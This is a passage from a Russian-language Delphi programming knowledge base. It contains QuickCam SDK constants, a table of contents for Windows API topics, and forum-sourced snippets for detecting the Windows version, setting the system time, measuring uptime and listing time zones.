const
  WRITEFAILURE_CAMERA_UNPLUGGED = 2;
const
  WRITEFAILURE_CAMERA_SUSPENDED = 3;

  // Camera type codes, returned by GetCameraType method
const
  CAMERA_UNKNOWN = 0;
const
  CAMERA_QUICKCAM_VC = 1;
const
  CAMERA_QUICKCAM_QUICKCLIP = 2;
const
  CAMERA_QUICKCAM_PRO = 3;
const
  CAMERA_QUICKCAM_HOME = 4;
const
  CAMERA_QUICKCAM_PRO_B = 5;
const
  CAMERA_QUICKCAM_TEKCOM = 6;
const
  CAMERA_QUICKCAM_EXPRESS = 7;
const
  CAMERA_QUICKCAM_FROG = 8; // MIGHT CHANGE NAME BUT ENUM STAYS THE SAME
const
  CAMERA_QUICKCAM_EMERALD = 9; // MIGHT CHANGE NAME BUT ENUM STAYS THE SAME

  // Camera-specific property codes used by Set/GetCameraPropertyLong
const
  PROPERTY_ORIENTATION = 0;
const
  PROPERTY_BRIGHTNESSMODE = 1;
const
  PROPERTY_BRIGHTNESS = 2;
const
  PROPERTY_CONTRAST = 3;
const
  PROPERTY_COLORMODE = 4;
const
  PROPERTY_REDGAIN = 5;
const
  PROPERTY_BLUEGAIN = 6;
const
  PROPERTY_SATURATION = 7;
const
  PROPERTY_EXPOSURE = 8;
const
  PROPERTY_RESET = 9;
const
  PROPERTY_COMPRESSION = 10;
const
  PROPERTY_ANTIBLOOM = 11;
const
  PROPERTY_LOWLIGHTFILTER = 12;
const
  PROPERTY_IMAGEFIELD = 13;
const
  PROPERTY_HUE = 14;
const
  PROPERTY_PORT_TYPE = 15;
const
  PROPERTY_PICTSMART_MODE = 16;
const
  PROPERTY_PICTSMART_LIGHT = 17;
const
  PROPERTY_PICTSMART_LENS = 18;
const
  PROPERTY_MOTION_DETECTION_MODE = 19;
const
  PROPERTY_MOTION_SENSITIVITY = 20;
const
  PROPERTY_WHITELEVEL = 21;
const
  PROPERTY_AUTO_WHITELEVEL = 22;
const
  PROPERTY_ANALOGGAIN = 23;
const
  PROPERTY_AUTO_ANALOGGAIN = 24;
const
  PROPERTY_LOWLIGHTBOOST = 25;
const
  PROPERTY_COLORBOOST = 26;
const
  PROPERTY_ANTIFLICKER = 27;
const
  PROPERTY_OPTIMIZATION_SPEED_QUALITY = 28;
const
  PROPERTY_STREAM_HOOK = 29;
const
  PROPERTY_LED = 30;

const
  ADJUSTMENT_MANUAL = 0;
const
  ADJUSTMENT_AUTOMATIC = 1;

const
  ORIENTATIONMODE_NORMAL = 0;
const
  ORIENTATIONMODE_MIRRORED = 1;
const
  ORIENTATIONMODE_FLIPPED = 2;
const
  ORIENTATIONMODE_FLIPPED_AND_MIRRORED = 3;

const
  COMPRESSION_Q0 = 0;
const
  COMPRESSION_Q1 = 1;
const
  COMPRESSION_Q2 = 2;

const
  ANTIFLICKER_OFF = 0;
const
  ANTIFLICKER_50Hz = 1;
const
  ANTIFLICKER_60Hz = 2;

const
  OPTIMIZE_QUALITY = 0;
const
  OPTIMIZE_SPEED = 1;

const
  LED_OFF = 0;
const
  LED_ON = 1;
const
  LED_AUTO = 2;
const
  LED_MAX = 3;

const
  PICTSMART_LIGHTCORRECTION_NONE = 0;
const
  PICTSMART_LIGHTCORRECTION_COOLFLORESCENT = 1;
const
  PICTSMART_LIGHTCORRECTION_WARMFLORESCENT = 2;
const
  PICTSMART_LIGHTCORRECTION_OUTSIDE = 3;
const
  PICTSMART_LIGHTCORRECTION_TUNGSTEN = 4;

const
  PICTSMART_LENSCORRECTION_NORMAL = 0;
const
  PICTSMART_LENSCORRECTION_WIDEANGLE = 1;
const
  PICTSMART_LENSCORRECTION_TELEPHOTO = 2;

const
  CAMERADLG_GENERAL = 0;
const
  CAMERADLG_ADVANCED = 1;

implementation
end.

Example shows how to use the PictureToMemory method in the QuickCam SDK.

type
  TMemoryStream = class(Classes.TMemoryStream);

var
  MS: TMemoryStream;
  lSize: LongInt;
  pBuffer: ^Byte;

begin

  MS := TMemoryStream.Create;
  bitmap1 := TBitmap.Create;

  try
    if VideoPortal1.PictureToMemory(0, 24, 0, lSize, '') = 1 then
    begin
      pBuffer := AllocMem(lSize);
      if VideoPortal1.PictureToMemory(0, 24, integer(pBuffer), lSize, '') = 1 then
      begin
        MS.SetPointer(pBuffer, lSize);
        bitmap1.loadfromstream(MS);
      end;
    end;
  finally
    MS.Free;
    FreeMem(pBuffer);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Windows

Cодержание раздела:

Как получить версию Windows?

Системная дата и время
· Как изменить системное время?
· Как определить, изменилось ли системное время?
· Как открыть окно настройки даты и времени Windows?
· Как долго запущена Windows?
· How to implement a microsecond resolution Delay? New!
· Как получить список часовых поясов? New!

Системные папки, имя компьютера
· Как найти системные папки Windows? Updated!
· Как удалить все файлы из Recent Documents List?
· Добавляем файлы в Recent Documents list?
· Как найти директорию TEMP в Windows?
· Как добавить документ в меню Пуск -> Документы?
· Как узнать откуда была установленна Windows?
· Как получить количество файлов в корзине и их размер? New!
· Путь к папке My Computer New!

Имя компьютера
· Как изменить имя компьютера?
· Как узнать имя компьютера?

Пользователи, пароли, защита информации
· Как получить закэшированные пароли в Win9x?
· Как прочитать пароль, скрытый за звездочками?
· Как проверить, имеем ли мы административные привилегии в системе?
· Изменение привелегий New!
· Как вывести список привелегий? New!
· Проверить запущена ли программа от System account? New!
· Запуск процесса в контексте другого пользователя New!
· Получить список пользователей New!

Команды Windows
· Выполняем встроенные команды Windows
· Как пользоваться командой шела - MinimizeAll?

Ярлыки, файловые ассоциации, расширения
· Как зарегистрировать своё расширение?
· Как программно создать ярлык?
· Как показать иконку, ассоциированной с данным типом файла?
· Как прочитать shortcut's link information?
· Как зарегистрировать свой пункт в меню для моего типа файлов?
· Как удалить/восстановить файлы из корзины?
· Как создать ShortCut файл (.LNK)?

System tray
· Что такое System Tray ? О чем идет речь?
· Что такое иконка на System Tray?
· Как свернуть прогу в tray?
· Как скрыть часики в панели задач? Updated!
· Как изменить иконку на Tray?
· Как удалить иконку с Tray?
· Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?
· Как сделать Pop-Up меню при щелчке иконке в Sys tray?
· Отображаем текст в System Tray.
· Показываем/Скрываем System Tray
· Как закрыть всплывающее меню в System Tray когда оно теряет фокус?
· Как показать округлённое окошко подсказки в трее в Windows2000?

Taskbar, кнопка Пуск, Системное меню
· Как определить, включено ли автоскрытие у панели задач?
· Как открыть меню кнопки Пуск?
· Как изменить изображение кнопки Пуск?
· Как скрыть TaskBar?
· Анимированная кнопка Пуск?
· Работа с System Menu
· Как очистить пункт меню Документы кнопки Пуск?
· Определение координат расположения TaskBar
· Работа с TaskBar
· Как добавить файл в меню Пуск/Документы New!
· Кто владелец taskbar buttons (NT)? New!
· Как сделать Multi Screen Emulator? New!
· Скрыть Tray, часы, кнопку ПУСК, панель задач New!
· Получение информации о TaskBar New!

Рабочий стол
· Как обновить рабочий стол?
· Как показать окно свойств экрана?
· Как проверить, включён ли ActiveDesktop?
· Как установить цвет фона иконок на рабочем столе, либо сделать у них прозрачный фон?
· Как сменить обои в Windows 95/NT?
· Как создать лупу для рабочего стола?
· Как скрыть / показать иконки на рабочем столе?
· Как выровнять иконки на рабочем столе к левому краю?
· Как сменить обои на рабочем столе?
· Как установить обои в формате jpeg

Панель управления
· Свои апплеты в панели управления.
· Как запустить любой апплет панели управления?

Буффер обмена
· Сохранение всего содержимого буфера обмена в файл
· Как работать с буфером обмена (clipboard)?
· Как программно реализовать Cut, Copy и Paste?
· Буфер обмена (Clipboard) и TMemoryStream
· Как скопировать файл в Windows clipboard?
· Как удобнее работать с буфером обмена как последовательностью байт?
· Как скопировать содержимое строки в буфер обмена?
· Встроенные форматы буфера обмена
· Копируем русский текст в буфер обмена в Windows2000
· Как копировать векторное изображение?
· Как копировать и вставлять Bitmap через буфер обмена? Updated!
· Использование интерфейса OLE New!
· Как копировать/менять Clipboard text без использования VCL? New!

Шрифты, языки, кодировки, регионарные стандарты
· Как использовать не установленный шрифт?
· Какой язык на данный момент на клавиатуре?
· Как можно перекодировать сообщение (содержание) из Win в КОИ8-Р для отправки по EMail?
· Как узнать размеры шрифтов в Windows?
· Как определить локализацию ОС: английская или русская?
· Как получить информацию о локальных настройках системы?
· Изменение регистра букв
· Перекодирование
· Как конвертировать кодовую страницу
· Как выдать текст под наклоном?
· Как сохранить обьект TFont в реестре/ini/файле/таблице базы данных?
· Вывести полупрозрачный текст
· Вертикальный текст
· Как вывести текст с красивым обрезанием если не помещается
· Как изменить фоновый цвет текста
· Как добавить True Type шрифт в систему
· Каким обpазом выбиpать pазмеp шpифта?
· Сохранение параметров шрифта в INI-файле
· Является ли шрифт шрифтом с фиксированной шириной
· Вывод шрифтов в списке в виде самих шрифтов
· Как приложению воспользоваться своими шрифтами
· Какой шрифт установлен (крупный или мелкий)?
· Масштабирование размера формы и размера шрифтов
· Различные разрешения - различные размеры шрифтов
· Свойства шрифта Style и Color в виде строки
· Список шрифтов, совместимых одновременно с экраном и с принтером
· Управление настройками шрифта
· Хранение стилей шрифта
· Алгоритм распознавания кодировки
· Как сделать фон у текста прозрачным?
· Распознавание кодировки New!
· Как узнать является ли окно Unicode? New!
· Как выяснить установлены ли в системе шрифты TrueType New!

Работа с DLL
· Получение списка DLL загруженных приложением
· Пример простейшей DLL в Delphi
· Определение функции в DLL
· Как создать DLL только с ресурсами?
· Как получить версию моей DLL?
· Определение полного пути и имени файла DLL
· Статическая и динамическая загрузка DLL
· Загрузка DLL
· Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32?
· Соглашения о вызовах New!
· Использование модуля ShareMem New!
· Как выгрузить Dll из памяти? New!
· DLL и ресурсы New!
· Разработка DLL в среде Borland Delphi (статья) New!
· Использование DLL в качестве Plug-in New!
· Как найти полный путь и имя файла запущенной DLL из самой DLL New!
· DLL со строковыми ресурсами New!
· Импортирование, или обертка вызовов функций DLL New!

Взаимодействие с Win16 кодом
· Как вызывать функцию 16-битной DLL из 32-битного приложения?
· Обмен информацией между приложениями Win32 - Win16

Программирование без VCL, работа с WinAPI
· Как использовать WinAPI?
· Минимальное оконное приложение без VCL
· Как с помощью API поместить Label на Form?
· Программирование на основе Win32 API в Delphi (статья)
· Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)
· Как заставить приложение Delphi отвечать на сообщения Windows?
· Использование функций перечисления WinAPI
· Как получитьописание кода, полученного GetLastError?

Процессы, потоки, память, задачи
· Пример работы с MailSlot
· Как определить откуда был запущен процесс?
· Как запустить и подождать завершения 2х процессов?
· Помогите спрятать программу из списка задач?
· Сохранить строку в памяти?+пример работы с атомами
· Как запустить программу и подождать ее завершения?
· Как получить весь размер системной памяти?
· Как узнать состояние памяти?
· Как определить, запущено ли приложение в Windows NT?
· Просмотрщик запущенных процессов
· Посылаем нажатия клавиш другому приложению
· Как сделать, чтобы запускалась только одна копия приложения?
· Как разрешить / запретить переключение между задачами?
· Как получить / установить приоритет процесса в Win9x/Me?
· Как получить список процессов в Win9x?
· Как убрать мою программу из списка Alt+Ctrl+Del?
· Как узнать имя файла текущего процесса?
· Как определить какие приложения уже запущены?
· Как создавать потоки без класса TThread?
· Как программе удалить саму себя?
· Как увеличить процессорное время, выделяемого программе?
· Как определить сколько памяти выделено в дельфи для программы?
· Прочитать список всех запущенных Exe/ Проверить запущен ли Exe?
· Как активизировать предыдущий экземпляр вашей программы?
· Как поменять приоритет моего приложения
· Как стать невидимым в Windows NT (статья)

Работа с чужими процессами
· Как можно из своей программы закрыть чужую?
· Как можно определить Handle окна,над которым находится мышка?
· Как найти окно по неполному названию?
· Как вывести результат работы консоли в Memo?
· Как завершить задачу в Windows NT (а заодно получить PID задачи)?
· Как убить задачу, зная только имя .exe?
· Убиваем активное приложение
· Как перехватывать события, посланные другим приложениям?
· Как эмулировать нажатия клавиш в другой программе?
· Как изменить заголовок чужого окна?
· Читаем заголовок exe файла
· Требуется нажать в другом приложении пару кнопок?
· Взаимодействие с чужими окнами
· Как, зная Handle окна программы, определить имя EXE
· Пример EnumWindows

Запуск и завершение приложений
· Особенности работы события onActivate
· Как запретить кнопку close в любом окне?
· Процессы, потоки и функции ShellExecute и WinExec
· События, происходящие в приложениях Delphi при завершении работы Windows
· Завершение всех работающих приложений
· Как завершить любой процесс, в том числе и системный
· Отследить завершение работы, (перезагрузку, смену пользователя) в Windows.

Работа с ресурсами
· Как извлечь иконку из EXE или DLL?
· Как загрузить BMP файл из DLL?
· Сохранение и выдёргивание ресурсов в DLL или EXE?
· Компиляция ресурсов
· Как поместить JPEG-картинку в exe-файл и потом загрузить ее?
· Converting 16bit resource to 32bit
· Creating resource files
· Работа с ресурсами

Консольные приложения
· Как писать консольные приложения в Delphi?
· Как использовать консоль в не-консольном приложении?
· Как захватить весь вывод в консоли?
· Как в консольном приложении можно задать цвет текста?
· Переключение консольного приложения в полный экран
· Как консольное приложение может узнать, что Винды завершаются?
· Как поменять иконку и стpокy в заголовке консольного окна
· Как можно гарантированно очистить экран в консольном приложении

Переменные окружения
· Как получить переменные окружения типа PATH и PROMPT?
· Как установить переменные окружения?
· Получение переменных среды

Hooks
· Hooks - аспекты реализации.
· Создание ловушек в Delphi
· Использование ловушек, блокировка мышки, клавиатуры и т.д.
· Перехват API функций, на примере MessageBoxA
· Использование HOOK в Дельфи

Сервисы NT
· Написание сервисов Windows NT на WinAPI
· Как запустить и остановить сервис (или получить его статус)?
· Как управлять сервисом на другом компьютере в W2K?

Звук
· Как можно включить/выключить звук в системе?
· Как управлять спикером под 9х из Дельфи? Updated!
· Как научить приложение Delphi разговаривать?
· Как изменить громкость?
· Как считать сигнал с микрофона
· Как определить уровень звука в данный момент?
· Как можно получить звук с микрофона?
· Как получить/изменить громкость?
· Как включить/выключить спикер
· Как определить установлена ли звуковая карта?
· Программирование Sound Blaster
· Как сделать регулятор громкости?
· Как можно получить звук с помощью MediaPlayer?
· Сыграть звуковой файл без компонентов New!
· Как использовать Microsoft Speech API? New!
· Как выключить master volume в звуковой карте? New!

Реестр и INI файлы
· Что такое реестр?
· Как работать с реестром Windows?
· Как работать с реестром средствами API?
· Как поместить приложение в автозапуск Windows?
· Как связать определённое расширение файлов с моим приложением?
· Как добавить True Type шрифт в систему?
· Как уведомить все приложения, что реестр был изменён?
· Как добавить нужный язык в систему?
· Как получить список инсталлированных програм?
· Как узнать откуда была установленна Windows?
· Проблемы использования TRegistry под NT/2000/XP
· Работа с INI файлами
· INI-файлы (чтение/запись)
· Как перейти к нужному ключу в Regedit? New!
· Облегчённый вариант класса TRegistry New!
· Как читать REG_MULTI_SZ значение New!
· Как получить событие о смене реестра? New!
· Проблемы ini-файла New!

Сообщения Windows
· Что такое сообщения Windows?
· Системные сообщения (сокращения)
· Как отправить сообщение сразу всем элементам управления формы?
· Как перехватить события в неклиентской области формы, в заголовке окна, например?
· Как сообщить что-нибудь всем формам моего приложения?
· Как послать сообщение всем окнам Windows?
· Как обрабатывать сообщения New!

Курсоры
· Как использовать свои курсоры?
· Как вставить свой курсор из внешнего файла?
· Как работать с анимированными курсорами?
· Можно ли изменить вид текстового курсора (каретки) edit'а или другого элемента?
· Функции и процедуры для работы с курсором New!
· Как ограничить перемещение курсора? New!
· Частота мигания каретки New!
· Как запретить показ курсора в TEdit и ему подобных контролах New!

Иконки
· Как использовать встроенные в Windows иконки в своём приложении?
· O сохранении иконок 32х32 в 256-цветном формате
· Проблемы с TCanvas.StretchDraw при рисовании иконок
· Пример работы с DrawIcon(Ex)
· Создание иконок из ресурсов

Хранитель экрана
· Как написать сквой хранитель экрана?
· Как включить/отключить хранитель экрана?
· Пишем Screensaver в Delphi
· Как запустить текущий ScreenSaver

Работа с Explorer'ом (Проводником)
· Как перезагрузить Explorer?
· Как добавить собственную панель?
· Как добавить свой пункт меню?
· Как добавить кнопку?

См. также другие разделы:
Порты
Питание, завершение работы
Видеокарта, Монитор
CD-ROM/CD-R/CD-RW
Модем
Мышка/клавиатура


Как получить версию Windows?

Cодержание раздела:

Способ1
Способ2
Способ3
Способ4 New!


Способ1

Как получить версию Windows?
Previous Top Next

Type TOSVersion=(osUnknown, osUnknown9x, osUnknownNT, osWin95, osWin98, osWin98SE, osWinME, osWinNT, osWin2000, osXP);

function GetOSVersion : TOSVersion;
var osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := OsUnknown;
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT :
Case majorVer of
4:result := OsWinNT;
5:if minorVer=0 then result := OsWin2000
else
if minorVer=1 then result := OsXP else result := osUnknownNT;
else result := osUnknownNT;
end; {Case majorVer of}
VER_PLATFORM_WIN32_WINDOWS :
case majorVer of
4: Case minorVer of
0:result := OsWin95;
10: if osVerInfo.szCSDVersion[1] = 'A' then result := OsWin98SE else result := OsWin98;
90: result := OsWinME;
else result := osUnknown9x;
end;{Case minorVer of}
else result := osUnknown9x;
end{case majorVer of}
else result := OsUnknown;
end;{case osVerInfo.dwPlatformId of}
end;{if GetVersionEx(osVerInfo) then}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
case GetOSVersion of
osUnknown: Showmessage('Unknown');
osWin95: Showmessage('Win95');
osWin98: Showmessage('Win98');
osWin98SE: Showmessage('Win98SE');
osWinME: Showmessage('WinME');
osWinNT: Showmessage('WinNT');
osWin2000: Showmessage('Win2000');
osXP: Showmessage('XP');
end;
end;
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Способ2

Как получить версию Windows?
Previous Top Next

procedure TForm1.WinVer;
var WinV: Word;
begin
WinV := GetVersion AND $0000FFFF;
Edit6.Text := IntToStr(Lo(WinV))+'.'+IntToStr(Hi(WinV));
end;

Функция выдает следующее - 4.10
Как можно таким же простым способом получить полную версию - 4.10.222

Автор ответа: inko
Взято с Vingrad.ru http://forum.vingrad.ru


Способ3

Как получить версию Windows?
Previous Top Next

Вот еще один пример. Мне он нравиться больше всего. Я его обычно использую в своих программах. Он гибкий и предоставляет максимум информации.

{Объявление процедур и констант}
function GetWindowsVersion1: string;
function WhatWindowsIsInstalled : String;
const
VER_NT_WORKSTATION = 0;
VER_NT_DOMAIN_CONTROLLER = 1;
VER_NT_SERVER = 2;

VER_SUITE_SMALLBUSINESS = 1;
VER_SUITE_ENTERPRISE = 2;
VER_SUITE_BACKOFFICE = 4;
VER_SUITE_COMMUNICATIONS = 8;
VER_SUITE_TERMINAL = $10;
VER_SUITE_SMALLBUSINESS_RESTRICTED = $20;
VER_SUITE_EMBEDDEDNT = $40;
VER_SUITE_DATACENTER = $80;
VER_SUITE_SINGLEUSERTS = $100;
VER_SUITE_PERSONAL = $200;
VER_SUITE_BLADE = $400;

type
TOsVersionInfoExA = packed record
old : TOsVersionInfoA;
wServicePackMajor : Word;
wServicePackMinor : Word;
{
wSuiteMask
Набор битовых флагов, определяющих компоненты Windows
VER_SUITE_BACKOFFICE Установлен компонент Microsoft BackOffice.
VER_SUITE_BLADE Установлен компонент Windows .NET Web Server.
VER_SUITE_DATACENTER Установлена Windows 2000 или компонент Windows .NET
Datacenter Server
VER_SUITE_ENTERPRISE Установлена Windows 2000 Advanced Server или компонент
Windows .NET Enterprise Server.
VER_SUITE_PERSONAL Установлена Windows XP Home Edition.
VER_SUITE_SMALLBUSINESS Установлен Microsoft Small Business Server.
VER_SUITE_SMALLBUSINESS_RESTRICTED Установлен Microsoft Small Business
Server с ограничительной лицензией для клиентов
VER_SUITE_TERMINAL Установлен компонент Terminal Services.
}

wSuiteMask : Word;
{wProductType Дополнительная информация о типе операционной системы
VER_NT_WORKSTATION Операционная система Windows NT 4.0 Workstation,
Windows 2000 Professional,
Windows XP Home Edition, или
Windows XP Professional.
VER_NT_DOMAIN_CONTROLLER Операционная система является контроллером домена.
VER_NT_SERVER Операционная система является сервером.
}

wProductType : Byte;
wReserved : Byte;
end;

...

{Реализация}
function WhatWindowsIsInstalled : String;
var VerInfo : TOsVersionInfoExA;
begin
FillChar(VerInfo, sizeof(VerInfo), 0);
VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoExA);
if NOT GetVersionExA(VerInfo.old) then
begin
VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoA);
GetVersionExA(VerInfo.old);
end;
case VerInfo.old.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS:
  if  (Verinfo.old.dwMajorVersion = 4) AND
  (Verinfo.old.dwBuildNumber = 950) then Result := 'Windows 95' else
  if  (Verinfo.old.dwMajorVersion = 4) AND
  (Verinfo.old.dwMinorVersion = 10) AND
  (Verinfo.old.dwBuildNumber = 1998) then Result := 'Windows 98' else
  if (Verinfo.old.dwMinorVersion = 90) then Result := 'Windows Me';
VER_PLATFORM_WIN32_NT:
if Verinfo.old.dwMajorVersion = 3 then Result := 'Windows NT 3.51' else
if Verinfo.old.dwMajorVersion = 4 then Result := 'Windows NT 4.0' else
if Verinfo.old.dwMajorVersion = 5 then
if Verinfo.old.dwMinorVersion = 0 then Result := 'Windows 2000' else
if Verinfo.old.dwMinorVersion = 1 then Result := 'Windows XP';
VER_PLATFORM_WIN32s: Result := 'Win32s';
end;
end;

function GetWindowsVersion1: string;
{$IFDEF WIN32}
const sWindowsVersion = '%.3d';
var
Ver: TOsVersionInfo;
Platform: string[4];
begin
Ver.dwOSVersionInfoSize := SizeOf(Ver);
GetVersionEx(Ver);
with Ver do begin
case dwPlatformId of
VER_PLATFORM_WIN32s: Platform := '32s';
VER_PLATFORM_WIN32_WINDOWS:
begin
dwBuildNumber := dwBuildNumber and $0000FFFF;
if (dwMajorVersion > 4) or ((dwMajorVersion = 4) and (dwMinorVersion >= 10)) then Platform := '98'
else Platform := '95';
end;
VER_PLATFORM_WIN32_NT: Platform := 'NT';
end;
Result := Trim(Format(sWindowsVersion, [dwBuildNumber]));
end;
end;
{$ELSE}
const
sWindowsVersion = 'Windows%s %d.%d';
sNT: array[Boolean] of string[3] = ('', ' NT');
var
Ver: Longint;
begin
Ver := GetVersion;
Result := Format(sWindowsVersion, [sNT[not Boolean(HiByte(LoWord(Ver)))],
LoByte(LoWord(Ver)), HiByte(LoWord(Ver))]);
end;
{$ENDIF WIN32}

Пример вызова
Label1.Caption := WhatWindowsIsInstalled+' (Build '+GetWindowsVersion1+')';

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru


Способ4

Этот пример должен работать на всех версиях Windows

{$IFDEF WIN32}

function GetVersionEx(lpOs: pointer): BOOL; stdcall;
  external 'kernel32' name 'GetVersionExA';
{$ENDIF}

procedure GetWindowsVersion(var Major: integer;
  var Minor: integer);
var
{$IFDEF WIN32}
  lpOS, lpOS2: POsVersionInfo;
{$ELSE}
  l: longint;
{$ENDIF}
begin
{$IFDEF WIN32}
  GetMem(lpOS, SizeOf(TOsVersionInfo));
  lpOs^.dwOSVersionInfoSize := SizeOf(TOsVersionInfo);
  while getVersionEx(lpOS) = false do begin
    GetMem(lpos2, lpos^.dwOSVersionInfoSize + 1);
    lpOs2^.dwOSVersionInfoSize := lpOs^.dwOSVersionInfoSize + 1;
    FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
    lpOS := lpOs2;
  end;
  Major := lpOs^.dwMajorVersion;
  Minor := lpOs^.dwMinorVersion;
  FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
{$ELSE}
  l := GetVersion;
  Major := LoByte(LoWord(l));
  Minor := HiByte(LoWord(l));
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Major: integer;
  Minor: integer;
begin
  GetWindowsVersion(Major, Minor);
  Memo1.Lines.Add(IntToStr(Major));
  Memo1.Lines.Add(IntToStr(Minor));
end;

Взято с http://delphiworld.narod.ru


Системная дата и время

Cодержание раздела:

Как изменить системное время?
Как определить, изменилось ли системное время?
Как открыть окно настройки даты и времени Windows?
Как долго запущена Windows?
How to implement a microsecond resolution Delay? New!
Как получить список часовых поясов? New!

См. также статьи в других разделах:
Скорость работы процессора, точный таймер
Как открыть диалог смены системного времени?


Как изменить системное время?

Функция SetSystemTime.
Обрати внимание на привилегии.

Автор ответа: podval
Взято с Vingrad.ru http://forum.vingrad.ru

1) Вариант №1
//**********************************************************
// Функция (раздел Public) SetPCSystemTime изменяет системную дату и время.
// Параметр(ы) : tDati Новая дата и время
// Возвращаемые значения: True - успешное завершение
// False - метод несработал
//************************************************************
function SetPCSystemTime(tDati: TDateTime): Boolean;
var
tSetDati: TDateTime;
vDatiBias: Variant;
tTZI: TTimeZoneInformation;
tST: TSystemTime;
begin
GetTimeZoneInformation(tTZI);
vDatiBias := tTZI.Bias / 1440;
tSetDati := tDati + vDatiBias;
with tST do
begin
wYear := StrToInt(FormatDateTime('yyyy', tSetDati));
wMonth := StrToInt(FormatDateTime('mm', tSetDati));
wDay := StrToInt(FormatDateTime('dd', tSetDati));
wHour := StrToInt(FormatDateTime('hh', tSetDati));
wMinute := StrToInt(FormatDateTime('nn', tSetDati));
wSecond := StrToInt(FormatDateTime('ss', tSetDati));
wMilliseconds := 0;
end;
SetPCSystemTime := SetSystemTime(tST);
end;

2) Вариант №2
***************************************************
Для изменения системного времени используется сложный спобой (через строки).
DateTimeToSystemTime(tSetDati,Tst); - работает быстрее и код короче

3) третий способ:
/////////////////////////////////////////////////////////////
Procedure settime(hour, min, sec, hundreths : byte); assembler;
asm
mov ch, hour
mov cl, min
mov dh, sec
mov dl, hundreths
mov ah, $2d
int $21
end;

////////////////////////////////////////////////////////////////////////
Procedure setdate(Year : word; Month, Day : byte); assembler;
asm
mov cx, year
mov dh, month
mov dl, day
mov ah, $2b
int $21
end;

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru

Следующие несколько строк кода позволяют установить системную дату и время без использования панели управления. Дата и время устанавливаются двумя раздельными компонентами TDateTimePicker. Дата и время декодируются и передаются в API функцию.
Из значения часа вычитается 2 для установки правильного времени. (Примечание Vit: вычитается не 2 часа а разница с Гринвичем)

procedure TfmTime.btnTimeClick(Sender: TObject);
var vsys : _SYSTEMTIME;
vYear, vMonth, vDay, vHour, vMin, vSec, vMm : Word;
begin
DecodeDate( Trunc(dtpDate.Date), vYear, vMonth, vDay );
DecodeTime( dtpTime.Time, vHour, vMin, vSec, vMm );
vMm := 0;
vsys.wYear := vYear;
vsys.wMonth := vMonth;
vsys.wDay := vDay;
vsys.wHour := ( vHour - 2 );
vsys.wMinute := vMin;
vsys.wSecond := vSec;
vsys.wMilliseconds := vMm;
vsys.wDayOfWeek := DayOfWeek( Trunc(dtpDate.Date) );
SetSystemTime( vsys );
end;

Взято из http://forum.sources.ru


Как определить, изменилось ли системное время?

Следующий пример демонстрирует обработку сообщения WM_TIMECHANGE. Приложение, которое изменяет системное время, посылает сообщение WM_TIMECHANGE всем окнам верхнего уровня.

type
TForm1 = class(TForm)
private
{ Private declarations }
  procedure WMTIMECHANGE(var Message: TWMTIMECHANGE); message WM_TIMECHANGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMTIMECHANGE(var Message: TWMTIMECHANGE);
begin
  Form1.Caption := 'Time Changed';
end;

Взято из http://forum.sources.ru


Как открыть окно настройки даты и времени Windows?

Shellexecute(handle, 'Open', 'Rundll32.exe', 'shell32.dll,Control_RunDLL TIMEDATE.CPL', Pchar(Getsystemdir), 0);

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как долго запущена Windows?

Ниже приведён код обработчика события OnClick для Button1. Он показывает диалоговое окошко с текстом в следующем формате

Windows started on Thursday, February 10, 2000 at 11:42:46 AM
Its been up for 0 days, 3 hours, 22 minutes, 54 seconds

procedure TForm1.Button1Click(Sender: TObject);
var
  ndays: double;
  ticks: LongInt;
  btime: TDateTime;
begin
 {Функция GetTickCount получает количество миллисекунд, прошедших с момента старта Windows}
  ticks := GetTickCount;

  {Чтобы получить дни, необходимо разделить на количество миллисекунд в дне, 24*60*60*1000=86400000}
  ndays := ticks/86400000;

  {теперь вычитаем из текущей даты полученное количество дней работы Windows}
  bTime := now-ndays;

  {показываем диалоговое окошко с сообщением}
  ShowMessage(
   FormatDateTime('"Windows started on" dddd, mmmm d, yyyy, ' +
                  '"at" hh:nn:ss AM/PM', bTime) + #10#13 +
   'Its been up for ' + IntToStr(Trunc(nDays)) + ' days,' +
   FormatDateTime(' h "hours," n "minutes," s "seconds"',ndays));
end;

Взято из http://forum.sources.ru


How to implement a microsecond resolution Delay?

// Wait 0.2ms

procedure PerformanceDelay;
var
  hrRes, hrT1, hrT2, dif: Int64;
begin
  if QueryPerformanceFrequency(hrRes) then
  begin
    QueryPerformanceCounter(hrT1);
    repeat
      QueryPerformanceCounter(hrT2);
      dif := (hrT2 - hrT1) * 10000000 div hrRes;
    until dif > 2;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить список часовых поясов?

uses
  Registry;

...

var
  reg : TRegistry;
  ts : TStrings;
  i : integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones', false);
  if reg.HasSubKeys then
  begin
    ts := TStringList.Create;
    reg.GetKeyNames(ts);
    reg.CloseKey;
    for i := 0 to ts.Count -1 do
    begin
      reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' + ts.Strings[i], false);
      Memo1.Lines.Add(ts.Strings[i]);
